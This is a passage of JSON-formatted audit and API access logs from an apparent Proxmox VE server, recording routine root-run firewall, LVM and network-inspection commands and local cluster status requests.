a2=55ecb805f500 a3=b items=2 ppid=1156 pid=64550 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ip6tables-save\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781965553430,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965553.430:66094): arch=c000003e syscall=59 success=yes exit=0 a0=74b9b16bcda0 a1=5a67899551b0 a2=7ffc6ddd32a0 a3=8 items=2 ppid=1119 pid=63475 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"nft\" exe=\"/usr/sbin/nft\" subj=unconfined key=\"exec\""} {"@timestamp":1781964911703,"@rawstring":"::ffff:192.168.1.157 - root@pam [20/06/2026:15:15:10 +0100] \"GET /api2/json/cluster/resources HTTP/1.1\" 200 473"} {"@timestamp":1781965804423,"@rawstring":"node=pve type=EXECVE msg=audit(1781965804.423:67164): argc=10 a0=\"/sbin/vgs\" a1=\"--separator\" a2=\":\" a3=\"--noheadings\" a4=\"--units\" a5=\"b\" a6=\"--unbuffered\" a7=\"--nosuffix\" a8=\"--options\" a9=\"vg_name,vg_size,vg_free,lv_count\""} {"@timestamp":1781964185277,"@rawstring":"node=pve type=EXECVE msg=audit(1781964185.277:59944): argc=3 a0=\"sh\" a1=\"-c\" a2=67726570202D4520275E65627461626C655F27202F70726F632F6D6F64756C6573207C20637574202D6631202D64272027207C2073656420732F65627461626C655F2F2F"} {"@timestamp":1781965815139,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965815.139:67211): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc0e9f30 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=64549 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"iptables-save\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781965553422,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965553.422:66091): arch=c000003e syscall=59 success=yes exit=0 a0=74b9b16bcda0 a1=5a67899550f0 a2=7ffc6ddd32a0 a3=8 items=2 ppid=1119 pid=63474 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"nft\" exe=\"/usr/sbin/nft\" subj=unconfined key=\"exec\""} {"@timestamp":1781964911703,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:15:10 +0100] \"GET /api2/json/cluster/resources HTTP/1.1\" 200 469"} {"@timestamp":1781965804377,"@rawstring":"node=pve type=EXECVE msg=audit(1781965804.377:67163): argc=4 a0=\"nft\" a1=\"-j\" a2=\"-f\" a3=\"-\""} {"@timestamp":1781964185276,"@rawstring":"node=pve type=EXECVE msg=audit(1781964185.276:59943): argc=1 a0=\"date\""} {"@timestamp":1781965815133,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965815.133:67210): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb70 a1=55ecbc130ea0 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=64548 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ipset\" exe=\"/usr/sbin/ipset\" subj=unconfined key=\"exec\""} {"@timestamp":1781965548415,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965548.415:66088): arch=c000003e syscall=59 success=yes exit=0 a0=74b9b16bcda0 a1=5a6789955030 a2=7ffc6ddd32a0 a3=8 items=2 ppid=1119 pid=63473 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"nft\" exe=\"/usr/sbin/nft\" subj=unconfined key=\"exec\""} {"@timestamp":1781964908676,"@rawstring":"::ffff:192.168.1.157 - root@pam [20/06/2026:15:15:08 +0100] \"GET /api2/json/cluster/tasks HTTP/1.1\" 200 1089"} {"@timestamp":1781965804366,"@rawstring":"node=pve type=EXECVE msg=audit(1781965804.366:67160): argc=4 a0=\"nft\" a1=\"-j\" a2=\"-f\" a3=\"-\""} {"@timestamp":1781964185272,"@rawstring":"node=pve type=EXECVE msg=audit(1781964185.272:59941): argc=3 a0=\"/usr/bin/perl\" a1=\"-w\" a2=\"/sbin/ebtables-save\""} {"@timestamp":1781965815124,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965815.124:67209): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb70 a1=55ecbc1396e0 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=64547 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ip\" exe=\"/usr/bin/ip\" subj=unconfined key=\"exec\""} {"@timestamp":1781965548408,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965548.408:66085): arch=c000003e syscall=59 success=yes exit=0 a0=74b9b16bcda0 a1=5a6789954f70 a2=7ffc6ddd32a0 a3=8 items=2 ppid=1119 pid=63472 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"nft\" exe=\"/usr/sbin/nft\" subj=unconfined key=\"exec\""} {"@timestamp":1781964908676,"@rawstring":"::ffff:192.168.1.157 - root@pam [20/06/2026:15:15:07 +0100] \"GET /api2/json/cluster/resources HTTP/1.1\" 200 469"} {"@timestamp":1781965799360,"@rawstring":"node=pve type=EXECVE msg=audit(1781965799.360:67157): argc=4 a0=\"nft\" a1=\"-j\" a2=\"-f\" a3=\"-\""} {"@timestamp":1781964185264,"@rawstring":"node=pve type=EXECVE msg=audit(1781964185.264:59940): argc=1 a0=\"ip6tables-save\""} {"@timestamp":1781965815113,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965815.113:67208): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb70 a1=55ecbc12d5f0 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=64546 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ip\" exe=\"/usr/bin/ip\" subj=unconfined key=\"exec\""} {"@timestamp":1781965546014,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965546.014:66082): arch=c000003e syscall=59 success=yes exit=0 a0=55754c848ed0 a1=55754c845c50 a2=55754c827680 a3=5 items=2 ppid=63465 pid=63471 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ebtables\" exe=\"/usr/sbin/ebtables-legacy\" subj=unconfined key=\"exec\""} {"@timestamp":1781964908676,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:15:07 +0100] \"GET /api2/json/cluster/tasks HTTP/1.1\" 200 1104"} {"@timestamp":1781965799352,"@rawstring":"node=pve type=EXECVE msg=audit(1781965799.352:67154): argc=4 a0=\"nft\" a1=\"-j\" a2=\"-f\" a3=\"-\""} {"@timestamp":1781964185258,"@rawstring":"node=pve type=EXECVE msg=audit(1781964185.258:59939): argc=1 a0=\"iptables-save\""} {"@timestamp":1781965814614,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965814.614:67207): arch=c000003e syscall=59 success=yes exit=0 a0=64f8d740be20 a1=64f8d73b3770 a2=64f8d2a10130 a3=b items=2 ppid=1154 pid=64545 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"lvs\" exe=\"/usr/sbin/lvm\" subj=unconfined key=\"exec\""} {"@timestamp":1781965546008,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965546.008:66081): arch=c000003e syscall=59 success=yes exit=0 a0=55754a6c0ac8 a1=7ffe4d0df230 a2=55754c827680 a3=55754a6a424e items=2 ppid=63465 pid=63467 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"sh\" exe=\"/usr/bin/dash\" subj=unconfined key=\"exec\""} {"@timestamp":1781964907693,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:15:06 +0100] \"GET /api2/json/cluster/resources HTTP/1.1\" 200 468"} {"@timestamp":1781965795938,"@rawstring":"node=pve type=EXECVE msg=audit(1781965795.938:67151): argc=4 a0=\"/usr/sbin/ebtables\" a1=\"-t\" a2=\"filter\" a3=\"-L\""} {"@timestamp":1781964185253,"@rawstring":"node=pve type=EXECVE msg=audit(1781964185.253:59938): argc=2 a0=\"ipset\" a1=\"save\""} {"@timestamp":1781965814580,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965814.580:67206): arch=c000003e syscall=59 success=yes exit=0 a0=64f8d5fe5d00 a1=64f8d73af440 a2=64f8d2a10130 a3=b items=2 ppid=1154 pid=64544 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"vgs\" exe=\"/usr/sbin/lvm\" subj=unconfined key=\"exec\""} {"@timestamp":1781965546008,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965546.008:66080): arch=c000003e syscall=59 success=yes exit=0 a0=7ffe4d0df1f0 a1=55754c82e310 a2=55754c827680 a3=5 items=2 ppid=63465 pid=63466 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"date\" exe=\"/usr/bin/date\" subj=unconfined key=\"exec\""} {"@timestamp":1781964905857,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:15:05 +0100] \"GET /api2/json/nodes/pve/status HTTP/1.1\" 200 859"} {"@timestamp":1781965795934,"@rawstring":"node=pve type=EXECVE msg=audit(1781965795.934:67150): argc=3 a0=\"sh\" a1=\"-c\" a2=67726570202D4520275E65627461626C655F27202F70726F632F6D6F64756C6573207C20637574202D6631202D64272027207C2073656420732F65627461626C655F2F2F"} {"@timestamp":1781964185246,"@rawstring":"node=pve type=EXECVE msg=audit(1781964185.246:59937): argc=5 a0=\"ip\" a1=\"-details\" a2=\"-json\" a3=\"link\" a4=\"show\""} {"@timestamp":1781965814411,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965814.411:67205): arch=c000003e syscall=59 success=yes exit=0 a0=74b9b16bcda0 a1=5a6789952c50 a2=7ffc6ddd32a0 a3=8 items=2 ppid=1119 pid=64541 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"nft\" exe=\"/usr/sbin/nft\" subj=unconfined key=\"exec\""} {"@timestamp":1781965546002,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965546.002:66078): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc0e9f30 a2=55ecb805f500 a3=b items=3 ppid=1156 pid=63465 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ebtables-save\" exe=\"/usr/bin/perl\" subj=unconfined key=\"exec\""} {"@timestamp":1781964905857,"@rawstring":"::ffff:192.168.1.157 - root@pam [20/06/2026:15:15:05 +0100] \"GET /api2/json/cluster/tasks HTTP/1.1\" 200 1089"} {"@timestamp":1781965795933,"@rawstring":"node=pve type=EXECVE msg=audit(1781965795.933:67149): argc=1 a0=\"date\""} {"@timestamp":1781964185239,"@rawstring":"node=pve type=EXECVE msg=audit(1781964185.239:59936): argc=5 a0=\"ip\" a1=\"-details\" a2=\"-json\" a3=\"link\" a4=\"show\""} {"@timestamp":1781965814399,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965814.399:67202): arch=c000003e syscall=59 success=yes exit=0 a0=74b9b16bcda0 a1=5a67899529b0 a2=7ffc6ddd32a0 a3=8 items=2 ppid=1119 pid=64540 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"nft\" exe=\"/usr/sbin/nft\" subj=unconfined key=\"exec\""} {"@timestamp":1781965545995,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965545.995:66077): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc0e9f30 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=63464 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ip6tables-save\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781964905857,"@rawstring":"::ffff:192.168.1.157 - root@pam [20/06/2026:15:15:04 +0100] \"GET /api2/json/cluster/resources HTTP/1.1\" 200 469"} {"@timestamp":1781965795926,"@rawstring":"node=pve type=EXECVE msg=audit(1781965795.926:67147): argc=3 a0=\"/usr/bin/perl\" a1=\"-w\" a2=\"/sbin/ebtables-save\""} {"@timestamp":1781964184888,"@rawstring":"node=pve type=EXECVE msg=audit(1781964184.888:59935): argc=12 a0=\"/sbin/lvs\" a1=\"--separator\" a2=\":\" a3=\"--noheadings\" a4=\"--units\" a5=\"b\" a6=\"--unbuffered\" a7=\"--nosuffix\" a8=\"--config\" a9=7265706F72742F74696D655F666F726D61743D22257322 a10=\"--options\" a11=\"vg_name,lv_name,lv_size,lv_attr,pool_lv,data_percent,metadata_percent,snap_percent,uuid,tags,metadata_size,time\""} {"@timestamp":1781965809393,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965809.393:67199): arch=c000003e syscall=59 success=yes exit=0 a0=74b9b16bcda0 a1=5a67899532b0 a2=7ffc6ddd32a0 a3=8 items=2 ppid=1119 pid=64539 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"nft\" exe=\"/usr/sbin/nft\" subj=unconfined key=\"exec\""} {"@timestamp":1781965545986,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965545.986:66076): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc0e9f30 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=63463 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"iptables-save\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781964904649,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:15:03 +0100] \"GET /api2/json/cluster/tasks HTTP/1.1\" 200 1095"} {"@timestamp":1781965795918,"@rawstring":"node=pve type=EXECVE msg=audit(1781965795.918:67146): argc=1 a0=\"ip6tables-save\""} {"@timestamp":1781964184847,"@rawstring":"node=pve type=EXECVE msg=audit(1781964184.847:59934): argc=10 a0=\"/sbin/vgs\" a1=\"--separator\" a2=\":\" a3=\"--noheadings\" a4=\"--units\" a5=\"b\" a6=\"--unbuffered\" a7=\"--nosuffix\" a8=\"--options\" a9=\"vg_name,vg_size,vg_free,lv_count\""} {"@timestamp":1781965809385,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965809.385:67196): arch=c000003e syscall=59 success=yes exit=0 a0=74b9b16bcda0 a1=5a6789952b70 a2=7ffc6ddd32a0 a3=8 items=2 ppid=1119 pid=64538 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"nft\" exe=\"/usr/sbin/nft\" subj=unconfined key=\"exec\""} {"@timestamp":1781965545978,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965545.978:66075): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc0e9f30 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=63462 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ip6tables-save\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781964902846,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:15:02 +0100] \"GET /api2/json/cluster/resources HTTP/1.1\" 200 469"} {"@timestamp":1781965795909,"@rawstring":"node=pve type=EXECVE msg=audit(1781965795.909:67145): argc=1 a0=\"iptables-save\""} {"@timestamp":1781964183219,"@rawstring":"node=pve type=EXECVE msg=audit(1781964183.219:59933): argc=4 a0=\"nft\" a1=\"-j\" a2=\"-f\" a3=\"-\""} {"@timestamp":1781965806102,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965806.102:67193): arch=c000003e syscall=59 success=yes exit=0 a0=62a520e000e0 a1=62a520dfce60 a2=62a520dde680 a3=5 items=2 ppid=64531 pid=64537 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ebtables\" exe=\"/usr/sbin/ebtables-legacy\" subj=unconfined key=\"exec\""} {"@timestamp":1781965545968,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965545.968:66074): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc0e9f30 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=63461 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"iptables-save\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781964902846,"@rawstring":"::ffff:192.168.1.157 - root@pam [20/06/2026:15:15:02 +0100] \"GET /api2/json/cluster/tasks HTTP/1.1\" 200 1070"} {"@timestamp":1781965795899,"@rawstring":"node=pve type=EXECVE msg=audit(1781965795.899:67144): argc=1 a0=\"ip6tables-save\""} {"@timestamp":1781964183212,"@rawstring":"node=pve type=EXECVE msg=audit(1781964183.212:59930): argc=4 a0=\"nft\" a1=\"-j\" a2=\"-f\" a3=\"-\""} {"@timestamp":1781965806098,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965806.098:67192): arch=c000003e syscall=59 success=yes exit=0 a0=62a4e234bac8 a1=7ffe953c6220 a2=62a520dde680 a3=62a4e232f24e items=2 ppid=64531 pid=64533 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"sh\" exe=\"/usr/bin/dash\" subj=unconfined key=\"exec\""} {"@timestamp":1781965545964,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965545.964:66073): arch=c000003e syscall=54 success=yes exit=0 a0=3 a1=0 a2=80 a3=5bdda1ce0740 items=0 ppid=1156 pid=63460 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ebtables-restor\" exe=\"/usr/sbin/ebtables-legacy-restore\" subj=unconfined key=(null)"} {"@timestamp":1781964902846,"@rawstring":"::ffff:192.168.1.157 - root@pam [20/06/2026:15:15:01 +0100] \"GET /api2/json/cluster/resources HTTP/1.1\" 200 472"} {"@timestamp":1781965795891,"@rawstring":"node=pve type=EXECVE msg=audit(1781965795.891:67143): argc=1 a0=\"iptables-save\""} {"@timestamp":1781964178206,"@rawstring":"node=pve type=EXECVE msg=audit(1781964178.206:59927): argc=4 a0=\"nft\" a1=\"-j\" a2=\"-f\" a3=\"-\""} {"@timestamp":1781965806097,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965806.097:67191): arch=c000003e syscall=59 success=yes exit=0 a0=7ffe953c61e0 a1=62a520de5310 a2=62a520dde680 a3=5 items=2 ppid=64531 pid=64532 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"date\" exe=\"/usr/bin/date\" subj=unconfined key=\"exec\""} {"@timestamp":1781965545962,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965545.962:66072): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc0eda70 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=63460 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ebtables-restor\" exe=\"/usr/sbin/ebtables-legacy-restore\" subj=unconfined key=\"exec\""} {"@timestamp":1781964900614,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:14:59 +0100] \"GET /api2/json/cluster/tasks HTTP/1.1\" 200 1095"} {"@timestamp":1781965795885,"@rawstring":"node=pve type=EXECVE msg=audit(1781965795.885:67141): argc=1 a0=\"ebtables-restore\""} {"@timestamp":1781964178195,"@rawstring":"node=pve type=EXECVE msg=audit(1781964178.195:59924): argc=4 a0=\"nft\" a1=\"-j\" a2=\"-f\" a3=\"-\""} {"@timestamp":1781965806093,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965806.093:67189): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc0e9f30 a2=55ecb805f500 a3=b items=3 ppid=1156 pid=64531 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ebtables-save\" exe=\"/usr/bin/perl\" subj=unconfined key=\"exec\""} {"@timestamp":1781965545956,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965545.956:66071): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb60 a1=55ecbbda8670 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=63459 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ip6tables-resto\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781964900614,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:14:59 +0100] \"GET /api2/json/nodes/pve/status HTTP/1.1\" 200 848"} {"@timestamp":1781965795879,"@rawstring":"node=pve type=EXECVE msg=audit(1781965795.879:67140): argc=4 a0=\"ip6tables-restore\" a1=\"-T\" a2=\"raw\" a3=\"-n\""} {"@timestamp":1781964175228,"@rawstring":"node=pve type=EXECVE msg=audit(1781964175.228:59921): argc=4 a0=\"/usr/sbin/ebtables\" a1=\"-t\" a2=\"filter\" a3=\"-L\""} {"@timestamp":1781965806084,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965806.084:67188): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc0e9f30 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=64530 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ip6tables-save\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781965545949,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965545.949:66070): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb60 a1=55ecbc0f0bb0 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=63458 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ip6tables-resto\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781964899639,"@rawstring":"::ffff:192.168.1.157 - root@pam [20/06/2026:15:14:58 +0100] \"GET /api2/json/cluster/tasks HTTP/1.1\" 200 1070"} {"@timestamp":1781965795873,"@rawstring":"node=pve type=EXECVE msg=audit(1781965795.873:67139): argc=4 a0=\"ip6tables-restore\" a1=\"-T\" a2=\"filter\" a3=\"-n\""} {"@timestamp":1781964175225,"@rawstring":"node=pve type=EXECVE msg=audit(1781964175.225:59920): argc=3 a0=\"sh\" a1=\"-c\" a2=67726570202D4520275E65627461626C655F27202F70726F632F6D6F64756C6573207C20637574202D6631202D64272027207C2073656420732F65627461626C655F2F2F"} {"@timestamp":1781965806075,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965806.075:67187): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc0e9f30 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=64529 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"iptables-save\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781965545942,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965545.942:66069): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb70 a1=55ecbc12f750 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=63457 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"iptables-restor\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781964899639,"@rawstring":"::ffff:192.168.1.157 - root@pam [20/06/2026:15:14:58 +0100] \"GET /api2/json/cluster/resources HTTP/1.1\" 200 472"} {"@timestamp":1781965795866,"@rawstring":"node=pve type=EXECVE msg=audit(1781965795.866:67138): argc=4 a0=\"iptables-restore\" a1=\"-T\" a2=\"raw\" a3=\"-n\""} {"@timestamp":1781964175224,"@rawstring":"node=pve type=EXECVE msg=audit(1781964175.224:59919): argc=1 a0=\"date\""} {"@timestamp":1781965806068,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965806.068:67186): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc0e9f30 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=64528 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ip6tables-save\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781965545936,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965545.936:66068): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb70 a1=55ecbc0f0bb0 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=63456 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"iptables-restor\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781964899639,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:14:58 +0100] \"GET /api2/json/cluster/resources HTTP/1.1\" 200 471"} {"@timestamp":1781965795860,"@rawstring":"node=pve type=EXECVE msg=audit(1781965795.860:67137): argc=4 a0=\"iptables-restore\" a1=\"-T\" a2=\"filter\" a3=\"-n\""} {"@timestamp":1781964175219,"@rawstring":"node=pve type=EXECVE msg=audit(1781964175.219:59917): argc=3 a0=\"/usr/bin/perl\" a1=\"-w\" a2=\"/sbin/ebtables-save\""} {"@timestamp":1781965806060,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965806.060:67185): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc0e9f30 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=64527 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"iptables-save\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781965545928,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965545.928:66067): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb70 a1=55ecb8ac8a10 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=63455 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ipset\" exe=\"/usr/sbin/ipset\" subj=unconfined key=\"exec\""} {"@timestamp":1781964896702,"@rawstring":"::ffff:192.168.1.157 - root@pam [20/06/2026:15:14:55 +0100] \"GET /api2/json/cluster/tasks HTTP/1.1\" 200 1070"} {"@timestamp":1781965795854,"@rawstring":"node=pve type=EXECVE msg=audit(1781965795.854:67136): argc=2 a0=\"ipset\" a1=\"restore\""} {"@timestamp":1781964175213,"@rawstring":"node=pve type=EXECVE msg=audit(1781964175.213:59916): argc=1 a0=\"ip6tables-save\""} {"@timestamp":1781965806056,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965806.056:67184): arch=c000003e syscall=54 success=yes exit=0 a0=3 a1=0 a2=80 a3=5a18d4fda740 items=0 ppid=1156 pid=64526 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ebtables-restor\" exe=\"/usr/sbin/ebtables-legacy-restore\" subj=unconfined key=(null)"} {"@timestamp":1781965545916,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965545.916:66066): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc0e9f30 a2=55ecb805f500 a3=b items=2 